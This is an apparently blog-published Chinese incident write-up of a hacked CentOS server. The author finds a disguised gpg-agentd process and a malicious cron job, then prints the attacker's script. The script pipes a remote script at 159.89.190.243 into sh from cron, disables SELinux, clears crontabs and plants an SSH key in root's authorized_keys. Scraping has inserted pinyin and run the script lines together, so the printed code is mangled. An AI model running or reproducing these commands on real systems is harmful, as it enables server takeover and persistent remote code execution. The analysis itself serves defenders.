記一次?Linux?被入侵全過(guò)程
[導(dǎo)讀]0x00背景周一早上剛到辦公室,就聽(tīng)到同事說(shuō)有一臺(tái)服務(wù)器登陸不上了,我也沒(méi)放在心上,繼續(xù)邊吃早點(diǎn),邊看幣價(jià)是不是又跌了。不一會(huì)運(yùn)維的同事也到了,氣喘吁吁的說(shuō):我們有臺(tái)服務(wù)器被阿里云凍結(jié)了,理由:對(duì)外惡意發(fā)包。我放下酸菜餡的包子,ssh連了一下,被拒絕了,問(wèn)了下默認(rèn)的22端口被封了...
0x00 背景
周一早上剛到辦公室,就聽(tīng)到同事說(shuō)有一臺(tái)服務(wù)器登陸不上了,我也沒(méi)放在心上,繼續(xù)邊吃早點(diǎn),邊看幣價(jià)是不是又跌了。不一會(huì)運(yùn)維的同事也到了,氣喘吁吁的說(shuō):我們有臺(tái)服務(wù)器被阿里云凍結(jié)了,理由:對(duì)外惡意發(fā)包。我放下酸菜餡的包子,ssh連了一下,被拒絕了,問(wèn)了下默認(rèn)的22端口被封了。讓運(yùn)維的同事把端口改了一下,立馬連上去,順便看了一下登錄名:root,還有不足8位的小白密碼,心里一涼:被黑了!0x01 查找線索
服務(wù)器系統(tǒng)CentOS 6.X,部署了nginx,tomcat,redis等應(yīng)用,上來(lái)先把數(shù)據(jù)庫(kù)全備份到本地,然后top命令看了一下,有2個(gè)99%的同名進(jìn)程還在運(yùn)行,叫g(shù)pg-agentd。GPG提供的gpg-agent提供了對(duì)SSH協(xié)議的支持,這個(gè)功能可以大大簡(jiǎn)化密鑰的管理工作。看起來(lái)像是一個(gè)很正經(jīng)的程序嘛,但仔細(xì)再看看服務(wù)器上的進(jìn)程后面還跟著一個(gè)字母d,偽裝的很好,讓人想起來(lái)windows上各種看起來(lái)像svchost.exe的病毒。繼續(xù)
ps eho command -p 23374netstat -pan | grep 23374
查看pid:23374進(jìn)程啟動(dòng)路徑和網(wǎng)絡(luò)狀況,也就是來(lái)到了圖1的目錄,到此已經(jīng)找到了黑客留下的二進(jìn)制可執(zhí)行文件。接下來(lái)還有2個(gè)問(wèn)題在等著我:1、文件是怎么上傳的?history看一下,記錄果然都被清掉了,沒(méi)留下任何痕跡。繼續(xù)命令more messages,
2、這個(gè)文件的目的是什么,或是黑客想干嘛?
crontab -e
0x02 作案動(dòng)機(jī)
上面的計(jì)劃任務(wù)的意思就是每15分鐘去服務(wù)器上下載一個(gè)腳本,并且執(zhí)行這個(gè)腳本。我們把腳本下載下來(lái)看一下。curl -fsSL 159.89.190.243/ash.php > ash.sh
腳本內(nèi)容如下:uname -aidhostnamesetenforce 0 2>/dev/nullulimit -n 50000ulimit -u 50000crontab -r 2>/dev/nullrm -rf /var/spool/cron/* 2>/dev/nullmkdir -p /var/spool/cron/crontabs 2>/dev/nullmkdir -p /root/.ssh 2>/dev/nullecho 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0 xigBIrdgo2p5nBtrpYZ2/GN3 ThY PNUqx redisX' > /root/.ssh/authorized_keysecho '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/rootecho '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/rootyum install -y bash 2>/dev/nullapt install -y bash 2>/dev/nullapt-get install -y bash 2>/dev/nullbash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null
大致分析一下該腳本的主要用途:首先是關(guān)閉SELinux,解除shell資源訪問(wèn)限制,然后在/root/.ssh/authorized_keys文件中生成ssh公鑰,這樣每次黑客登錄這臺(tái)服務(wù)器就可以免密碼登錄了,執(zhí)行腳本就會(huì)方便很多,關(guān)于ssh keys的文章可以參考這一篇文章SSH原理與運(yùn)用。接下來(lái)安裝bash,最后是繼續(xù)下載第二個(gè)腳本bsh.php,并且執(zhí)行。繼續(xù)下載并分析bsh.pbp,內(nèi)容如下:
sleep $( seq 3 7 | sort -R | head -n1 )cd /tmp || cd /var/tmpsleep 1mkdir -p .ICE-unix/...